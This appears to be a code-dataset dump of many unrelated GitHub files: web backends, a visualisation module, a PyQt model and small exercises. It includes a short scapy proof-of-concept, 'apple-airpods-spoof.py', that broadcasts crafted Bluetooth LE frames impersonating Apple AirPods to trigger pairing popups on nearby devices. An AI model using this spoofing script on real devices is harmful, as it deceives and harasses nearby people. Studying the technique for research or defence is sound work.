result[\"id\"] = response[\"id\"]\n result[\"name\"] = response[\"name\"]\n result[\"picture\"] = response[\"picture\"]\n result[\"sound\"] = response[\"sound\"]\n result[\"description\"] = response[\"description\"]\n return result\n\n\n@app.get(\"/pictureById\")\nasync def getpictureById(id: int):\n res = []\n cursor = db.question\n for i in cursor.find({'id': id}):\n res.append({\"picture\": i['picture'][:10]})\n return res\n\n\n@app.get(\"/soundById\")\nasync def getsoundById(id: int):\n res = []\n cursor = db.question\n for i in cursor.find({'id': id}):\n res.append({\"sound\": i['sound'][:10]})\n return res\n\n\n@app.get(\"/descriptionById\")\nasync def descriptionById(id: int):\n res = []\n cursor = db.question\n for i in cursor.find({'id': id}):\n res.append({\"sound\": i['sound'][:10]})\n return res\n\n\n@app.get(\"/allQuestions\")\nasync def allQuestions():\n res = []\n cursor = db.question\n for i in cursor.find({}, {'_id': 0}):\n res.append(i)\n return res\n","repo_name":"GFraction/SberApp-Guess-Animal-Backend","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42649627874","text":"#실질적으로 API 로직들을 작성하는곳\n\nfrom ast import If\nfrom cmd import IDENTCHARS\nfrom multiprocessing import context\nimport random\nfrom django.shortcuts import render\n\n\ndef index(request): \n return render(request, 'index.html') \n\n\n # django_tutorial/urls.py/ 안에있는 9번째줄 path('index/', views.index) index랑 일치해야한다. URL과 veiw를 설정하였기 때문에 veiw에서 index.html를 설정하여 연결을 지어줘야한다.\n # index.html를 만들기 위해 templates폴더를 만들고 안에 index.html를만들자\n # *request는 무조건 첫번째 인자로 받아야한다 *\n # return으로 render를 해서 request인자와 index.html를 다룬다. request는 render에 첫번째 인자로 불러줘야한다\n\ndef dinner(request, name):\n\n menus = [{'name':'족발','price' : 30000},{'name':'햄버거','price':20000},{'name':'치킨','price':5000},{'name':'초밥','price':10000}]\n pick = random.choice(menus)\n\n context = {\n 'pick' : pick, # 'pick' : pick중에서 'pick'값은 키값으로 변수로 생각하면 편하다 두번째 ''가없는 pick값이 메뉴중에서 랜덤으로 선택되서 담기는 것이다.\n 'name' : name, # URL에서 선언된 이부분에서 변수를 만들어서 연결시켜준다.\n 'menus' : menus\n\n }\n\n return render(request, 'dinner.html' , context)\n\n\n # 19번째줄 random.choice(menus)는 메뉴안에 있는것중에서 랜덤으로 고른다는 뜻이다 랜덤으로 골라진것들이 pick이라는 변수로 들어가진다\n # 22번째줄을 보면 veiws.py에서 dinner.html로 데이터를 넘겨주기 위해서 context라는 변수를 사용할 것이다 이런한 context라는 변수를 27번째 줄에 실어준다 html 부분에서는 context안에 있는 내가 지칭한 변수 키값을 쓸것이다.\n\ndef review(request):\n\n return render(request, 'review.html') \n\ndef creative_review(request):\n\n content = request.POST.get('content') # review.html에서 request를 통해서 받은것중 POST일때 데이터안에서 content라는걸 받아온다 그리고 get으로 조율할 수 있게된다 ('content')는 review.html에서 name=\"content\"\n print(request.POST)\n context = {\n\n 'content' : content,\n\n }\n\n return render(request, 'review_result.html' , context)","repo_name":"poro625/django_tutorial","sub_path":"articles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15859275046","text":"def saddle_point(matrix):\n \"\"\"\n >>> saddle_point([[9, 8, 7], [5, 3, 2], [6, 6, 7]])\n [[2, 1]]\n >>> saddle_point([[3, 1, 3], [3, 2, 4]])\n [[1, 1], [1, 3]]\n >>> saddle_point([[1, 2, 3], [3, 1, 2], [2, 3, 1]])\n []\n \"\"\"\n res = []\n for row in range(len(matrix)):\n for column in range(len(matrix[row])):\n minimal = matrix[row][column]\n for i in range(len(matrix) - 1):\n minimal = min(matrix[i][column], matrix[i + 1][column])\n if matrix[row][column] == minimal == max(matrix[row]):\n res.append([row + 1, column + 1])\n return res\n\n\nprint(saddle_point([[2, 1, 4, 1]]))\n","repo_name":"maxymkuz/cs_first_semester","sub_path":"Hmwrk3/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44399948998","text":"import array\nimport threading\n\n\nclass SensorDatastore(object):\n def __init__(self, stime=None):\n self.lock = threading.Lock()\n self.stime = stime\n\n self.min_size = 60 * 60\n self.max_size = 60 * 61\n\n self.data = {\n 'testnodes:io': array.array(\"B\"),\n 'testnodes:cpu': array.array(\"B\"),\n }\n\n def get_values(self, name, start, end):\n assert end >= start\n\n if end == start:\n return []\n\n with self.lock:\n curr_arr = self.data[name]\n if self.stime is None:\n return []\n\n sidx = start - self.stime\n eidx = end - self.stime\n\n if sidx < 0 and eidx < 0:\n return [0] * (end - start)\n elif sidx < 0:\n return [0] * (-sidx) + curr_arr[:eidx]\n return curr_arr[sidx:eidx]\n\n def update_values(self, data_time, vals, add=False):\n with self.lock:\n if self.stime is None:\n self.stime = data_time\n\n for name, value in vals.items():\n curr_arr = self.data.setdefault(name, array.array(\"H\"))\n curr_end_time = len(curr_arr) + self.stime\n\n dtime = data_time - curr_end_time\n\n if dtime > 0:\n curr_arr.extend([0] * dtime)\n curr_arr.append(value)\n elif dtime == 0:\n curr_arr.append(value)\n else:\n # dtime < 0\n sindex = len(curr_arr) + dtime\n if sindex > 0:\n if add:\n curr_arr[sindex] += value\n else:\n curr_arr[sindex].append(value)\n","repo_name":"pomeo92/disk_perf_test_tool","sub_path":"wally/timeseries.py","file_name":"timeseries.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"34475912148","text":"import streamlit as st\nimport Source\nfrom Source import *\nfrom PIL import Image as Im\n\n\ndef get_image_data(file_uploaded):\n image_file = file_uploaded.read()\n st.image(image_file)\n image_file = Im.open(file_uploaded)\n resized_img = image_file.resize((400, 400))\n data = asarray(resized_img)\n return data, resized_img\n\ndef get_filters():\n st.write(\"\\nChoose which filters you want\")\n glasses_label = st.checkbox(\"Glasses\")\n hat_label = st.checkbox(\"Hat\")\n lips_label = st.checkbox(\"lips\")\n\n filters = [False] * 3 # filters list. 0-glasses, 1-hat, 2-lips\n\n if (glasses_label):\n filters[0] = True\n if (lips_label):\n filters[1] = True\n if (hat_label):\n filters[2] = True\n\n return filters\n\ndef do_options(file_uploaded, options):\n filters = []\n if (options == \"Edge Detection\"):\n show_final_img(filters, file_uploaded, 0)\n\n elif (options == \"Filters\"):\n filters = get_filters()\n show_final_img(filters, file_uploaded, 1)\n\n\ndef show_final_img(filters, file_uploaded, is_filters):\n is_face = None\n if (file_uploaded is not None):#uploaded file\n data, resized_img = get_image_data(file_uploaded) # gets image as array data and resized image\n final_image, is_face = Source.run(data, resized_img, filters, is_filters)\n if(is_face):#If face was found\n st.image(final_image)#shows image\n else:\n st.write(\"Face not found ):\")\n\ndef main():\n picture = st.checkbox(\"Take Picture\")\n upload_image = st.checkbox(\"Upload Image\")\n if(upload_image):#uploaded image\n options = st.selectbox(\"\\nChoose an option: \", (\"\", \"Edge Detection\", \"Filters\"))\n file_uploaded = st.file_uploader(\"Upload your file PLEASE\")\n do_options(file_uploaded, options)\n\n elif(picture):#take picture\n options = st.selectbox(\"\\nChoose an option: \", (\"\", \"Edge Detection\", \"Filters\"))\n file_uploaded = st.camera_input(\"Camera\")\n do_options(file_uploaded, options)\n\nif __name__ == \"__main__\":\n main()","repo_name":"roniPolak123/FaceFilter","sub_path":"Face-filter/StreamLit.py","file_name":"StreamLit.py","file_ext":"py","file_size_in_byte":2061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1700166840","text":"import argparse\nimport json\nimport operator\nimport random\nimport string\nfrom collections import defaultdict\nfrom itertools import tee\n\nimport numpy\nimport pandas\n\n\ndef is_sorted(iterable, compare=operator.le):\n a, b = tee(iterable)\n next(b, None)\n return all(map(compare, a, b))\n\n\nclass Visualizer:\n\n def __init__(self, kernel, style):\n self.kernel = kernel\n if style is None:\n self.style = \"table\"\n self.options = []\n else:\n self.style = \"table\" if style[\"style\"] is None else style[\"style\"]\n self.options = style[\"options\"]\n\n def _parse_error(self, msg):\n if self.kernel:\n self.kernel.warn(msg)\n\n def preview(self, df):\n if self.style == \"table\":\n return self._handle_table(df)\n if self.style == \"scatterplot\":\n return self._handle_scatterplot(df)\n raise ValueError(f\"Unknown style {self.style}\")\n\n def get_tid(self, vis_type):\n alphabet = string.ascii_lowercase + string.digits\n return \"\".join(random.choices(alphabet, k=8))\n\n #\n # TABLE\n #\n def _get_table_parser(self):\n parser = argparse.ArgumentParser(\n prog=\"%preview -s table\",\n description=\"\"\"Preview Pandas DataFrame (or csv files) in tablular\n format with search and sort capacity\"\"\",\n )\n parser.add_argument(\n \"-l\",\n \"--limit\",\n type=int,\n default=200,\n help=\"\"\"Limit the number of displayed records. A negative value indicates\n showing all records.\"\"\",\n )\n parser.error = self._parse_error\n return parser\n\n def _is_numeric_type(self, x):\n try:\n return numpy.issubdtype(x, numpy.number)\n except Exception:\n # this includes Pandas category type\n return False\n\n def _handle_table(self, df):\n parser = self._get_table_parser()\n try:\n args = parser.parse_args(self.options)\n except SystemExit:\n return\n\n if not isinstance(df, pandas.core.frame.DataFrame):\n raise ValueError(\"Not of DataFrame type\")\n\n tid = self.get_tid(\"table\")\n\n hint = \"\"\n if args.limit >= 0 and df.shape[0] > args.limit and args.limit == 200:\n hint += f'
    Only the first {args.limit} of the {df.shape[0]} records are previewed. Use option --limit to set a new limit.

    '\n if args.limit >= 0:\n code = (\n df.head(args.limit).to_html(index=True).replace(\n 'class=\"', f'id=\"dataframe_{tid}\" class=\"sos_dataframe ',\n 1))\n else:\n code = df.to_html(index=True).replace(\n 'class=\"', f'id=\"dataframe_{tid}\" class=\"sos_dataframe ', 1)\n\n hr, rest = code.split(\"\", 1)\n index_type = (\"numeric\" if isinstance(df.index, pandas.RangeIndex) else\n \"alphabetic\")\n col_type = [\n \"numeric\" if self._is_numeric_type(x) else \"alphabetic\"\n for x in df.dtypes\n ]\n # pylint: disable=consider-using-f-string\n code = (\"\".join(\n \"\"\"{}   \"\"\"\n .format(x, tid, idx, index_type if idx ==\n 0 else col_type[idx - 1]) if \"\"))) + \"\" + rest)\n\n\n # we put max-height 400px here because the notebook could be exported without using sos template\n # and associated css, resulting in very long table.\n code = (f\"\"\"\n
    \n \n \"\"\" + code + \"\"\"
    \"\"\")\n return {\"text/html\": hint + code}\n\n #\n # SCATTERPLOT\n #\n def _get_scatterplot_parser(self):\n parser = argparse.ArgumentParser(prog=\"%preview -s scatterplot\")\n parser.add_argument(\n \"cols\",\n nargs=\"*\",\n help=\"\"\"Columns to plot, which should all be numeric. If one\n column is specified, it is assumed to be a x-y plot with x being 0, 1, 2, 3, .... If two or\n more columns (n) are specified, n-1 series will be plotted with the first column being the\n x axis, in which case an \"_index\" name can be used to specify 0, 1, 2, 3, .... This option can be\n igured if the dataframe has only one or two columns.\"\"\",\n )\n parser.add_argument(\"--ylim\", nargs=2, help=\"\"\"Range of y-axis\"\"\")\n parser.add_argument(\"--xlim\", nargs=2, help=\"\"\"Range of x-axis\"\"\")\n parser.add_argument(\n \"--log\",\n choices=[\"x\", \"y\", \"xy\", \"yx\"],\n help=\"\"\"Make x-axis, y-axis, or both to logarithmic\"\"\",\n )\n parser.add_argument(\n \"--width\", default=\"50vw\", help=\"\"\"Width of the plot.\"\"\")\n parser.add_argument(\n \"--height\", default=\"38vw\", help=\"\"\"Height of the plot.\"\"\")\n parser.add_argument(\n \"-b\",\n \"--by\",\n nargs=\"+\",\n help=\"\"\"columns by which the data points are stratified.\"\"\",\n )\n parser.add_argument(\n \"--show\",\n nargs=\"+\",\n help=\"\"\"What to show in the plot,\n can be 'lines', 'points' or both. Default to points, and lines if x-axis is\n sorted.\"\"\",\n )\n parser.add_argument(\n \"-t\",\n \"--tooltip\",\n nargs=\"*\",\n help=\"\"\"Fields to be shown in tooltip, in addition to\n the row index and point values that would be shown by default.\"\"\",\n )\n parser.add_argument(\n \"-l\",\n \"--limit\",\n default=2000,\n help=\"\"\"Maximum number\n of records to plot.\"\"\",\n )\n parser.error = self._parse_error\n return parser\n\n def _to_list(self, arr):\n if \"int\" in arr.dtype.name:\n return [int(x) for x in arr]\n return [float(x) for x in arr]\n\n def _natural_ticks(self, rg):\n # given a range, get natural ticks such as 0.1, 1, 10, 100, ...\n import math\n\n # get integer by 1 or 2 (1, 10) or (1, 100)\n logl = math.floor(math.log10(rg[0]))\n logh = math.ceil(math.log10(rg[1]))\n # small scale, let flop decide\n if logh - logl < 3:\n return None\n return list(10**x for x in range(logl, logh + 1))\n\n def _handle_scatterplot(self, df):\n parser = self._get_scatterplot_parser()\n try:\n args = parser.parse_args(self.options)\n except SystemExit:\n return\n\n if not isinstance(df, pandas.core.frame.DataFrame):\n raise ValueError(\"Not of DataFrame type\")\n\n tid = str(self.get_tid(\"scatterplot\"))\n\n hint: str = \"\"\n if df.shape[0] > args.limit:\n hint += f'
    Only the first {args.limit} of the {df.shape[0]} records are plotted. Use option --limit to set a new limit.

    '\n\n # replacing ' ' with   and '-' with unicode hyphen will disallow webpage to separate words\n # into lines\n indexes = [\n str(x).replace(\" \", \" \").replace(\"-\", \"‑\")\n for x in df.index\n ]\n\n data = df.head(args.limit)\n nrow = data.shape[0]\n\n if not args.cols:\n if df.shape[1] == 1:\n args.cols = [\"_index\", df.columns[0]]\n elif df.shape[1] == 2:\n args.cols = list(df.columns)\n else:\n raise ValueError(\n f'Please specify columns for plot. Available columns are {\" \".join(df.columns)}'\n )\n\n if len(args.cols) == 1:\n args.cols = [\"_index\", args.cols[0]]\n\n if args.cols[0] == \"_index\":\n args.tooltip = [args.cols[0]] + (\n args.tooltip if args.tooltip else [])\n else:\n args.tooltip = [\"_index\", args.cols[0]] + (\n args.tooltip if args.tooltip else [])\n\n # check datatype\n for col in args.cols + args.tooltip + (args.by if args.by else []):\n if col == \"_index\":\n continue\n if col not in data.columns:\n raise ValueError(f\"Invalid column name {col}\")\n\n # tooltip and --by columns does not have to be numeric\n for col in args.cols:\n if col == \"_index\":\n continue\n if not self._is_numeric_type(data[col].dtype):\n raise ValueError(f\"Column {col} is not of numeric type\")\n\n if args.cols[0] == \"_index\":\n val_x = list(range(0, nrow))\n else:\n val_x = self._to_list(data[args.cols[0]])\n\n all_series = []\n\n if args.by:\n # create seris with _by\n vals = []\n for by_col in args.by:\n vals.append(sorted(list(set(data[by_col]))))\n # outer product\n import itertools\n\n categories = list(itertools.product(*vals))\n\n for col in args.cols[1:]:\n series = {}\n series[\"clickable\"] = True\n series[\"hoverable\"] = True\n\n if col == \"_index\":\n val_y = list(range(1, nrow + 1))\n else:\n val_y = self._to_list(data[col])\n\n tooltip = [\n \"
    \".join([\n f'{\"index\" if t == \"_index\" else t}: {idxvalue if t == \"_index\" else df[t][idx]}'\n for t in args.tooltip\n ])\n for idx, idxvalue in enumerate(indexes)\n ]\n\n all_data = [(x, y, z) for x, y, z in zip(val_x, val_y, tooltip)]\n\n if args.by:\n for cat in categories:\n series = {}\n series[\"label\"] = (\n col + \" (\" +\n \" \".join(f\"{x}={y}\" for x, y in zip(args.by, cat)) +\n \")\")\n # find index of values that falls into the category\n series[\"data\"] = [\n all_data[i]\n for i in range(len(all_data))\n if all(data[b][i] == v for b, v in zip(args.by, cat))\n ]\n if len(series[\"data\"]) > 0:\n all_series.append(series)\n else:\n series[\"label\"] = col\n series[\"data\"] = all_data\n all_series.append(series)\n\n options = defaultdict(dict)\n options[\"xaxis\"] = {}\n options[\"yaxis\"] = {}\n options[\"series\"][\"lines\"] = {\n \"show\":\n is_sorted(val_x) and not args.by\n if not args.show or \"lines\" in args.show else False\n }\n options[\"series\"][\"points\"] = {\n \"show\": True if not args.show or \"points\" in args.show else False\n }\n options[\"grid\"][\"hoverable\"] = True\n options[\"grid\"][\"clickable\"] = True\n\n # if there are actual indexes... and plot by x\n class_name = \"scatterplot\"\n if args.cols[0] == \"_index\" and not isinstance(df.index,\n pandas.RangeIndex):\n options[\"xaxis\"][\"ticks\"] = [\n [x, str(y)] for x, y in enumerate(indexes)\n ]\n class_name = \"scatterplot_by_rowname\"\n\n if args.xlim:\n options[\"xaxis\"][\"min\"] = args.xlim[0]\n options[\"xaxis\"][\"max\"] = args.xlim[1]\n if args.ylim:\n options[\"yaxis\"][\"min\"] = args.ylim[0]\n options[\"yaxis\"][\"max\"] = args.ylim[1]\n\n optfunc = \"\"\n if args.log and \"x\" in args.log:\n range_x = [min(val_x), min(val_x)]\n optfunc = \"\"\"\n options['xaxis']['transform'] = function(v) { return Math.log(v); }\n options['xaxis']['inverseTransform'] = function(v) { return Math.exp(v); }\n \"\"\"\n ticks = self._natural_ticks(range_x)\n if ticks:\n optfunc += f\"\"\"\n options['xaxis']['ticks'] = {ticks!r};\n \"\"\"\n if not args.xlim:\n options[\"xaxis\"][\"min\"] = range_x[0]\n options[\"xaxis\"][\"max\"] = range_x[1]\n if args.log and \"y\" in args.log:\n range_y = [\n min([\n min([x[1] for x in series[\"data\"]]) for series in all_series\n ]),\n max([\n max([x[1] for x in series[\"data\"]]) for series in all_series\n ]),\n ]\n optfunc += \"\"\"\n options['yaxis']['transform'] = function(v) { return Math.log(v); };\n options['yaxis']['inverseTransform'] = function(v) { return Math.exp(v); };\n \"\"\"\n ticks = self._natural_ticks(range_y)\n if ticks:\n optfunc += f\"\"\"\n options['yaxis']['ticks'] = {ticks!r};\n \"\"\"\n # flot does not seems to scale correctly without min/max\n if not args.ylim:\n options[\"yaxis\"][\"min\"] = range_y[0]\n options[\"yaxis\"][\"max\"] = range_y[1]\n code = (\"\"\"\n
    \n
    \n\n\n\n
    \"\"\")\n return {\"text/html\": hint + code}\n","repo_name":"vatlab/sos","sub_path":"src/sos/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":15988,"program_lang":"python","lang":"en","doc_type":"code","stars":260,"dataset":"github-code","pt":"31"} +{"seq_id":"72955252249","text":"# Create your views here.\nfrom rest_framework.generics import GenericAPIView, ListCreateAPIView\nfrom rest_framework.response import Response\nfrom backend.models import Post, Comment\nimport json\nfrom backend.serializers import PostSerializer, CommentSerializer\nimport redis\nfrom config import *\n\nr = redis.Redis(host=mysql_host, port=mysql_port, db=0, charset=\"utf-8\", decode_responses=True)\n\n\nclass TestView(GenericAPIView):\n authentication_classes = ()\n\n \"\"\"\n This is test api\n \"\"\"\n def get(self, request):\n return Response({'key': 'Hello World'})\n\n\nclass PostsView(ListCreateAPIView):\n authentication_classes = ()\n serializer_class = PostSerializer\n\n \"\"\"\n Custom get list posts\n \"\"\"\n def get_queryset(self):\n get_items = self.request.GET\n limit = get_items.get('limit')\n\n if limit is not None:\n limit = int(limit) - 1\n\n # Get list ids from redis\n list_comment_ids = r.zrange('comments', 0, limit, desc=True)\n\n \"\"\"\n If list_comment_ids exists in redis, query list comments from list_comment_ids in posts table.\n Else, query directly from posts table\n \"\"\"\n if len(list_comment_ids):\n return Post.objects.filter(id__in=list_comment_ids). \\\n order_by('-total_comments')\n\n return Post.objects.order_by('-total_comments')\n\n \"\"\"\n Create new post\n \"\"\"\n def post(self, request):\n data = json.loads(request.body)\n serializer = PostSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n response = serializer.data\n\n \"\"\"\n Add total_comments of new post to redis\n \"\"\"\n r.zadd('comments', {str(response['id']): 0})\n\n return Response(response)\n\n\nclass PostView(GenericAPIView):\n authentication_classes = ()\n\n \"\"\"\n Get a post by its id\n \"\"\"\n def get(self, request, post_id):\n post = Post.objects.filter(id=post_id).first()\n\n if post is None:\n return Response(data={'code': 'not_found', 'message': 'Post not found'}, status=404)\n post_serializer = PostSerializer(instance=post)\n res = post_serializer.data\n\n return Response(res)\n\n\nclass CommentsView(ListCreateAPIView):\n authentication_classes = ()\n serializer_class = CommentSerializer\n\n \"\"\"\n Custom get query set for comments\n \"\"\"\n def get_queryset(self):\n post_id = self.kwargs.get('post_id')\n\n return Comment.objects. \\\n filter(post_id=post_id). \\\n order_by('-created_at')\n\n \"\"\"\n Create new comment for a post\n \"\"\"\n def post(self, request, post_id):\n post = Post.objects.filter(id=post_id).first()\n\n if post is None:\n return Response(data={'code': 'post_not_found', 'message': 'Post not found'}, status=404)\n data = json.loads(request.body)\n data['post'] = post_id\n serializer = CommentSerializer(data=data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n\n \"\"\"\n Get total comments value of post id from redis\n \"\"\"\n total_comments = r.zscore('comments', str(post.id))\n\n \"\"\"\n If value of total comments in redis is None, count it from db\n Else increase total comment with 1\n \"\"\"\n if total_comments is None:\n total_comments = Comment.objects.filter(post_id=post_id).count()\n else:\n total_comments = int(total_comments) + 1\n\n \"\"\"\n Update total comments value in redis\n \"\"\"\n r.zadd('comments', {str(post.id): total_comments})\n\n response = serializer.data\n\n return Response(response)\n\n\n\n","repo_name":"thienlongtpct/reddit-mvp","sub_path":"backend/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71629584407","text":"from scapy.all import *\nload_contrib('ibeacon') #loads the slightly modified ibeacon.py contrib code\n\n\nprint('advertising crafted bt packets')\nbt = BluetoothHCISocket(0)\napple_frame = Apple_BLE_Frame() / Raw(b'\\x07\\x0f\\x00\\x0f\\x20\\x7c\\x29\\x6f\\xd6\\x48\\xeb\\x85\\xe3\\xe3\\x02\\x01\\x00')\nbt.sr(apple_frame.build_set_advertising_data())\nbt.sr(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_LE_Set_Advertising_Parameters(adv_type=3,interval_max=256,interval_min=256))\nprint(apple_frame.show())\n\nans, unans = bt.sr(HCI_Hdr()/\n HCI_Command_Hdr()/\n HCI_Cmd_LE_Set_Advertise_Enable(enable=True))\n\np = ans[0][1]\nprint(p.show())\n","repo_name":"jrgdiaz/apple-ble-spoof-poc","sub_path":"spoof/apple-airpods-spoof.py","file_name":"apple-airpods-spoof.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27270029085","text":"class Solution:\n def canThreePartsEqualSum(self, A: List[int]) -> bool:\n ans = sum(A)\n if ans%3!=0: # 首先看和能否被3整除\n return False\n avg = ans//3\n i,j,lsum,rsum = 0,len(A)-1,0,0\n res = False\n while i 0:\n for _ in range(add):\n asmd_list.append('+') \nif sub > 0:\n for _ in range(sub):\n asmd_list.append('-')\nif mal > 0:\n for _ in range(mal):\n asmd_list.append('*')\nif div > 0:\n for _ in range(div):\n asmd_list.append('/') \n\npm_list = list(permutations(asmd_list,n-1))\nanswer = []\nfor i in range(len(pm_list)):\n tmp = array[0]\n for j in range(n-1):\n if pm_list[i][j] == '+':\n tmp += array[j+1]\n if pm_list[i][j] == '-':\n tmp -= array[j+1]\n if pm_list[i][j] == '*':\n tmp *= array[j+1]\n if pm_list[i][j] == '/':\n tmp = int(tmp/array[j+1])\n answer.append(tmp)\nprint(max(answer))\nprint(min(answer)) \n","repo_name":"choijaehoon1/backjoon","sub_path":"back_tracking/test07.py","file_name":"test07.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36132551506","text":"import numpy as np\nimport json as json\nimport typedbytes as tb\n\nfrom utils import Block_Mapper\n\nclass Sparse_Cauchy_Mapper(Block_Mapper):\n \"\"\"\n Cauchy random projection\n \"\"\"\n def __init__(self):\n Block_Mapper.__init__(self, 1024)\n self.As = None\n\n def parse(self, row):\n return [float(v) for v in row.split()]\n\n def process(self):\n if self.sz == 0:\n return iter([])\n A = np.array(self.data)\n m, n = A.shape\n s = int(np.ceil(2*n*np.log(n)))\n C = np.random.standard_cauchy((s, m))\n if self.As is None:\n self.As = np.dot(C, A)\n else:\n self.As += np.dot(C, A)\n return iter([])\n\n def close(self):\n if self.As is not None:\n for i, row in enumerate(self.As):\n yield i, row\n #yield 'As', self.As\n\nclass Sparse_Cauchy_Reducer:\n \"\"\"\n Cauchy random projection\n \"\"\"\n def __call__(self, key, values):\n #As = values.next()\n #for v in values:\n # As += v\n #yield 'As', As\n row = values.next()\n for v in values:\n row += v\n yield key, row.tolist()\n\nif __name__ == '__main__':\n import dumbo\n job = dumbo.Job()\n job.additer(Sparse_Cauchy_Mapper, Sparse_Cauchy_Reducer)\n job.run()\n\n","repo_name":"chocjy/randomized-quantile-regression-solvers","sub_path":"hadoop/src/cauchy.py","file_name":"cauchy.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"40678390577","text":"# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl).\n\nfrom odoo import fields, models\n\n\nclass ResCompany(models.Model):\n _inherit = \"res.company\"\n\n fiscalcode = fields.Char(\n related=\"partner_id.fiscalcode\", store=True, readonly=False\n )\n","repo_name":"OCA/l10n-italy","sub_path":"l10n_it_fiscalcode/model/res_company.py","file_name":"res_company.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"31"} +{"seq_id":"36639853058","text":"#! /usr/bin/python\n###################\n# models\\Model.py #\n###################\nimport logging\nfrom PyQt5.QtCore import QDate\nfrom DB import PriorityModel, DetailModel, DBInterface\nfrom ConfigParser import ParseConfig\nlog = logging.getLogger('model')\n\n\nclass Model(object):\n \"\"\" Contains data variables and logic to announce when updated by controller.\n Model.announce_update calls registered functions to refresh view (e.g.MainView.update_ui_from_model). \"\"\"\n def __init__(self, db_config):\n self.db = db_connect(db_config)\n self.db.call_process(QDate.currentDate().toString(\"yyyy-MM-dd\"))\n self._update_funcs, self._refresh_detail_funcs = [], []\n self.category_dict, self.status_dict = {}, {}\n self.get_cat_dict(), self.get_status_dict()\n\n #### model variable defaults/placeholders ####\n self.task_input = None\n self.weight_calc = '-'\n self.importance_input = None\n self.urgency_input = None\n self.difficulty_input = None\n self.i_slider = None\n self.u_slider = None\n self.d_slider = None\n self.cat_dropdown_index = self.category_dict.get('Misc', None)\n self.descr_input = ''\n self.date_due = None\n\n self.selected_row_index = -1\n self.perspective = 'Active'\n self.category_filter = None\n self.detail_filter = -1\n self.update_id = None\n self.status = None\n\n #### create Qt models for compatible widget types ####\n self.priority_model = PriorityModel(self.perspective, self.category_filter)\n self.detail_model = DetailModel(self.detail_filter)\n\n #####################\n def subscribe_update_func(self, func):\n \"\"\" To specify MainView widget-refresh \"\"\"\n if func not in self._update_funcs:\n self._update_funcs.append(func)\n\n def announce_update(self):\n self.priority_model = PriorityModel(self.perspective, self.category_filter)\n for func in self._update_funcs:\n func()\n\n #####################\n def subscribe_refresh_detail_filter(self, func):\n \"\"\" Refresh TableView on filter-choice \"\"\"\n if func not in self._refresh_detail_funcs:\n self._refresh_detail_funcs.append(func)\n\n def announce_detail_refresh(self):\n for func in self._refresh_detail_funcs:\n func()\n\n def refresh_detail_filter(self):\n log.debug(\"refresh_detail_filter(): %s\" % self.detail_filter)\n self.detail_model = DetailModel(self.detail_filter)\n self.announce_detail_refresh()\n\n #####################\n def priority_submit(self):\n if not self.update_id:\n self.priority_model.add_priority(\n self.task_input, self.weight_calc, self.cat_dropdown_index, self.descr_input,\n self.importance_input, self.urgency_input, self.difficulty_input, self.date_due)\n else:\n # if self.perspective == 'Overdue' and self.date_due >= QDate.currentDate():\n # # consider updating status_id for overdue when new date_due is beyond curdate\n self.priority_model.update_priority(\n self.task_input, self.weight_calc, self.cat_dropdown_index, self.descr_input,\n self.importance_input, self.urgency_input, self.difficulty_input, self.date_due, self.update_id)\n self.status = self.priority_model.status\n self.detail_filter = -1\n self.update_id = None\n\n def db_priority_action(self, priority_id, action):\n \"\"\" Delete/Archive/Complete Priority \"\"\"\n self.priority_model.priority_action(priority_id, action)\n self.status = self.priority_model.status\n # todo - set detail_filter = priority_id (except on delete)\n # todo (contd) - will need to account for perspective/category filters\n self.detail_filter = -1\n self.update_id = None\n\n #####################\n def get_cat_dict(self):\n \"\"\" pull category key, value pairs from db \"\"\"\n for name, category_id in self.db.sql_query('SELECT CATEGORY, CATEGORY_ID FROM category'):\n self.category_dict[name] = category_id\n log.debug(\"Category Dict: %s\" % self.category_dict)\n\n def get_status_dict(self):\n \"\"\" pull status key, value pairs from db \"\"\"\n for name, status_id in self.db.sql_query('SELECT STATUS, STATUS_ID FROM status'):\n self.status_dict[name] = status_id\n log.debug(\"Status Dict: %s\" % self.status_dict)\n\n\n#####################\ndef db_connect(db_config):\n \"\"\" parse config and password files to connect to db \"\"\"\n db_args = ParseConfig(db_config).db_args()\n\n try:\n with open(r'models/%s' % db_args['password'], 'r') as p_file:\n db_args['pw'] = p_file.read()\n except FileNotFoundError:\n log.warning(\"/models/ Not Found – Trying config\")\n db_args['pw'] = db_args['password']\n\n return DBInterface(db_args)\n","repo_name":"asconz/SystematicPrioritization","sub_path":"application/models/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":4951,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"21060104737","text":"import os\nfrom tkinter import *\nfrom config import Config\nfrom Pomodoro_frme import Pomodoros\n\nclass Main(Tk):\n def __init__(self):\n Tk.__init__(self)\n \n # Configure\n self.title('Pyro Pom')\n self.geometry('230x180')\n self.resizable(0, 0)\n try:\n path = 